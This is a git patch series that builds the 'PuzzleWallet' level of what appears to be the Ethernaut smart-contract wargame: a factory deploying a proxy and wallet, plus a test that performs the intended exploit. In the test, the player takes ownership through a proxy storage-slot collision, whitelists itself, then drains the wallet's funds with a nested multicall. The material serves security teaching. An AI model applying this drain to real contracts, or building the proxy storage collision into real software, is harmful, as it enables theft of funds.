From 33cede8ab3cad9c56bc87cb975b5b658ba89b71d Mon Sep 17 00:00:00 2001 From: Andres Bachfischer Date: Wed, 6 Oct 2021 18:53:28 -0300 Subject: [PATCH 1/5] Adapted createInstance to deploy and initialize proxy and logic --- .../contracts/levels/PuzzleWalletFactory.sol | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/contracts/contracts/levels/PuzzleWalletFactory.sol b/contracts/contracts/levels/PuzzleWalletFactory.sol index acbc84400..69a9557db 100644 --- a/contracts/contracts/levels/PuzzleWalletFactory.sol +++ b/contracts/contracts/levels/PuzzleWalletFactory.sol @@ -8,13 +8,23 @@ contract PuzzleWalletFactory is Level { function createInstance(address /*_player*/) override public payable returns (address) { require(msg.value == 1 ether, "Must send 1 ETH to create instance"); - PuzzleWallet puzzle = new PuzzleWallet(); + // Deploy the Wallet logic + PuzzleWallet walletLogic = new PuzzleWallet(); + walletLogic.init(); - puzzle.addToWhitelist(address(this)); + // Proxy instance + bytes data= abi.encodeWithSelector(PuzzleWallet.init.selector); + PuzzleProxy proxy = new PuzzleProxy(address(walletLogic), data, address(this)); - puzzle.deposit{value: 1 ether}(1 ether); + data = abi.encodeWithSelector(PuzzleWallet.addToWhitelist.selector, (address(this))); + (bool success, bytes memory result) = address(proxy).call(data); + require(success, "Execution failed"); - return address(puzzle); + data = abi.encodeWithSelector(PuzzleWallet.deposit.selector, 1 ether); + (success, result) = address(proxy).call{ value: msg.value }(data); + require(success, "Execution failed"); + + return address(proxy); } function validateInstance(address payable _instance, address /*_player*/) override public returns (bool) { From b3538f28f61d9053dc1799ddcd7e0f393b8b6f68 Mon Sep 17 00:00:00 2001 From: Andres Bachfischer Date: Wed, 6 Oct 2021 23:12:06 -0300 Subject: [PATCH 2/5] Set a initial check if the player passed the game --- contracts/contracts/levels/PuzzleWalletFactory.sol | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/contracts/contracts/levels/PuzzleWalletFactory.sol b/contracts/contracts/levels/PuzzleWalletFactory.sol index 69a9557db..cbca51512 100644 --- a/contracts/contracts/levels/PuzzleWalletFactory.sol +++ b/contracts/contracts/levels/PuzzleWalletFactory.sol @@ -27,7 +27,8 @@ contract PuzzleWalletFactory is Level { return address(proxy); } - function validateInstance(address payable _instance, address /*_player*/) override public returns (bool) { - return _instance.balance == 0; + function validateInstance(address payable _instance, address _player) override public returns (bool) { + PuzzleWallet instance = PuzzleWallet(_instance); + return instance.balance == 0 && instance.owner() == _player && instance.whitelisted[_player]; } } From 20d7ff9c9490d52a1c8ad45f4ae86db1dcff0357 Mon Sep 17 00:00:00 2001 From: Andres Bachfischer Date: Thu, 7 Oct 2021 01:05:36 -0300 Subject: [PATCH 3/5] Draft version of the win procedure --- contracts/test/levels/PuzzleWallet.test.js | 32 +++++++++++++++++----- 1 file changed, 25 insertions(+), 7 deletions(-) diff --git a/contracts/test/levels/PuzzleWallet.test.js b/contracts/test/levels/PuzzleWallet.test.js index 5518794c2..b1a994fa9 100644 --- a/contracts/test/levels/PuzzleWallet.test.js +++ b/contracts/test/levels/PuzzleWallet.test.js @@ -28,19 +28,37 @@ contract('PuzzleWallet', function(accounts) { assert.equal(await instance.owner(), level.address) assert.equal(web3.utils.toWei('1', 'ether'), (await instance.balances(level.address)).toString()) - // TODO: take ownership in a real way - await instance.takeOwnership({from: player}) + // check that PuzzleProxy.pendingAdmin is factory + assert.equal(owner, await instance.owner()) + + // call the PuzzleProxy.proposeNewAdmin(player) + // need to use artifact from the proxy (not the wallet) + + // check that the player has placed their address in the owner slot assert.equal(player, await instance.owner()) - - // Player whitelists herself + + // check that player is not whitelisted yet + assert.notequal(true, await instance.whitelisted(player)) + + // whitelist itself by PuzzleWallet.addToWhitelist(player) await instance.addToWhitelist(player, { from: player }) - const calls = [ - // TODO: calls - ] + // deposit 1 eth with PuzzleWallet.deposit{ 1 ether }(1 ether) from player + await instance.deposit(web3.utils.toWei('1', 'ether'), {from: player, value: web3.utils.toWei('1', 'ether')}) + + // build the calldata + // call PuzzleWallet.multicall(bytes(2x PuzzleWallet.execute.selector(Proxy.address, 1 ether, ""))) + const executeSelector = web3.eth.abi.encodeFunctionSignature("execute(address,uint256,bytes)"); + // call = [] + // call the multicall with the data await instance.multicall(calls) + // check that PuzzleWallet.balance == zero + assert.isZero(await web3.eth.getBalance(instance)) + + // another step with dust? + // Factory check const ethCompleted = await utils.submitLevelInstance( ethernaut, From dd1e178c77ce2b93f0c134ed1d90161c68912a86 Mon Sep 17 00:00:00 2001 From: Andres Bachfischer Date: Thu, 7 Oct 2021 13:06:51 -0300 Subject: [PATCH 4/5] Changed order of params and new init --- contracts/contracts/levels/PuzzleWalletFactory.sol | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/contracts/contracts/levels/PuzzleWalletFactory.sol b/contracts/contracts/levels/PuzzleWalletFactory.sol index cbca51512..7101769d6 100644 --- a/contracts/contracts/levels/PuzzleWalletFactory.sol +++ b/contracts/contracts/levels/PuzzleWalletFactory.sol @@ -10,11 +10,11 @@ contract PuzzleWalletFactory is Level { // Deploy the Wallet logic PuzzleWallet walletLogic = new PuzzleWallet(); - walletLogic.init(); + walletLogic.init(100 ether); // Proxy instance - bytes data= abi.encodeWithSelector(PuzzleWallet.init.selector); - PuzzleProxy proxy = new PuzzleProxy(address(walletLogic), data, address(this)); + bytes data= abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether); + PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data); data = abi.encodeWithSelector(PuzzleWallet.addToWhitelist.selector, (address(this))); (bool success, bytes memory result) = address(proxy).call(data); From 3ec9dfa3a57e0447e9f282cbd15770862e63f6c6 Mon Sep 17 00:00:00 2001 From: Vicente Dragicevic Date: Thu, 7 Oct 2021 14:39:07 -0300 Subject: [PATCH 5/5] Fix compile errors and tests --- .../contracts/levels/PuzzleWalletFactory.sol | 15 ++++++--------- contracts/test/levels/PuzzleWallet.test.js | 14 +++----------- 2 files changed, 9 insertions(+), 20 deletions(-) diff --git a/contracts/contracts/levels/PuzzleWalletFactory.sol b/contracts/contracts/levels/PuzzleWalletFactory.sol index 7101769d6..1aab623dc 100644 --- a/contracts/contracts/levels/PuzzleWalletFactory.sol +++ b/contracts/contracts/levels/PuzzleWalletFactory.sol @@ -10,25 +10,22 @@ contract PuzzleWalletFactory is Level { // Deploy the Wallet logic PuzzleWallet walletLogic = new PuzzleWallet(); - walletLogic.init(100 ether); + walletLogic.init(); // Proxy instance - bytes data= abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether); + bytes memory data= abi.encodeWithSelector(PuzzleWallet.init.selector, 100 ether); PuzzleProxy proxy = new PuzzleProxy(address(this), address(walletLogic), data); - data = abi.encodeWithSelector(PuzzleWallet.addToWhitelist.selector, (address(this))); - (bool success, bytes memory result) = address(proxy).call(data); - require(success, "Execution failed"); + PuzzleWallet instance = PuzzleWallet(address(proxy)); - data = abi.encodeWithSelector(PuzzleWallet.deposit.selector, 1 ether); - (success, result) = address(proxy).call{ value: msg.value }(data); - require(success, "Execution failed"); + instance.addToWhitelist(address(this)); + instance.deposit{ value: msg.value }(1 ether); return address(proxy); } function validateInstance(address payable _instance, address _player) override public returns (bool) { PuzzleWallet instance = PuzzleWallet(_instance); - return instance.balance == 0 && instance.owner() == _player && instance.whitelisted[_player]; + return _instance.balance == 0 && instance.owner() == _player && instance.whitelisted(_player); } } diff --git a/contracts/test/levels/PuzzleWallet.test.js b/contracts/test/levels/PuzzleWallet.test.js index 34d02cfbb..541e97492 100644 --- a/contracts/test/levels/PuzzleWallet.test.js +++ b/contracts/test/levels/PuzzleWallet.test.js @@ -28,20 +28,17 @@ contract('PuzzleWallet', function(accounts) { {from: player, value: web3.utils.toWei('1', 'ether')} ) - assert.equal(await instance.owner(), level.address) + assert.equal(level.address, await instance.owner(), 'Owner is not the factory') assert.equal(web3.utils.toWei('1', 'ether'), (await instance.balances(level.address)).toString()) - // check that PuzzleProxy.pendingAdmin is factory - assert.equal(owner, await instance.owner()) - const proxy = await PuzzleProxy.at(instance.address) await proxy.proposeNewAdmin(player) // check that the player has placed their address in the owner slot - assert.equal(player, await instance.owner()) + assert.equal(player, await instance.owner(), "Player is not the owner") // check that player is not whitelisted yet - assert.notequal(true, await instance.whitelisted(player)) + assert.isFalse(await instance.whitelisted(player), 'Player is not whitelisted') // Player whitelists herself await instance.addToWhitelist(player, { from: player }) @@ -58,11 +55,6 @@ contract('PuzzleWallet', function(accounts) { await instance.multicall(calls, { from: player, value: web3.utils.toWei('1', 'ether')}) - // check that PuzzleWallet.balance == zero - assert.isZero(await web3.eth.getBalance(instance)) - - // another step with dust? - // Factory check const ethCompleted = await utils.submitLevelInstance( ethernaut,